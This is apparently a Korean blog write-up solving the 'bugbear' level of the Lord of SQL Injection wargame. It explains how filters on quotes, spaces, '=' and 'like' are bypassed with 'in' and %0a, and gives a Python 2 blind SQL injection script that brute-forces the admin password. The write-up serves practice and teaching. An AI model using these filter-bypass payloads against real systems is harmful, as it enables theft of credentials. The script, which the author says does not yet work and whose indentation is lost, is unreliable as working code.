#About


[그림 1] - 문제 화면




#Solution


위 문제는 데이터베이스에 질의를 통해 admin의 직접적인 pw 값을 알아오는 것이므로 Blind SQL Injection 문제이며,


위 문제를 해결하기 위해 우회해야하는 필터링의 목록으로는 싱글쿼터, substr, ascii, =, or , and, 공백, like, 0x 가 있다


기존에 계속 사용해왔으며, 문자열 비교를 의미하는 = 과 like 가 필터링이 되어 있기에 우회 방법을 찾아야하며


=과 like의 우회 방법으로는 in이 있으며 우회 쿼리로는 아래와 같다


[그림 2] - 쿼리 1


위 쿼리를 통해 pw의 값의 길이가 8임을 구할 수 있었다 


[그림 3] - 쿼리 2



[그림 4] - 쿼리 3



[그림 5] - 쿼리 4



[그림 6] - 쿼리 5



[그림 7] - 쿼리 6



[그림 8] - 쿼리 7



[그림 9] - 쿼리 8



[그림 10] - 쿼리 9



[그림 11] - 문제 해결




#Blind SQL Injection Python Code


코드 동작 x 업뎃예정 ㅜㅜ....

# -*- coding:utf-8 -*-

'''
Creator = Loddy
'''

import urllib2

query_ok = "<h2>Hello admin"
key="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXZY"

print "[*] Start Search pw Length "

for len in range(1,100):
url = 'http://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?no=1||length(pw)%0ain({})'.format(str(len))
request = urllib2.Request(url, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'})
request.add_header("COOKIE", "PHPSESSID=nuf1ik7j4dm16sb1tgi3eb64o2")
read = urllib2.urlopen(request).read()
if read.find(query_ok) != -1:
print "\t%s = Correct"%(len)
length = len
break
else :
print "\t%s = Incorrect"%(len)

print "\n",
print "[*] Start Search pw Value"

def find_pw(test,pw):
url2 = "http://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?no=1||mid(pw," + str(pw) + ",1)%0ain({})".format(key[test])
request = urllib2.Request(url2, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'})
request.add_header("COOKIE", "PHPSESSID=nuf1ik7j4dm16sb1tgi3eb64o2")
read = urllib2.urlopen(request).read()
return read

for pw in range(1,length+1):
for test in range(0,63):
read = find_pw(test,pw)
if read.find(query_ok) != -1:
print "\t(pw,%d,1) = {}".format(key[test]) %pw
break



'Wargame' 카테고리의 다른 글

[Lord of SQL Injection] Assassin  (0) 2017.11.02
[Lord of SQL Injection] Giant  (0) 2017.11.01
[Lord of SQL Injection] Darkknight  (0) 2017.10.30
[Lord of SQL Injection] Golem  (0) 2017.10.30
[Lord of SQL Injection] Skeleton  (0) 2017.10.30

+ Recent posts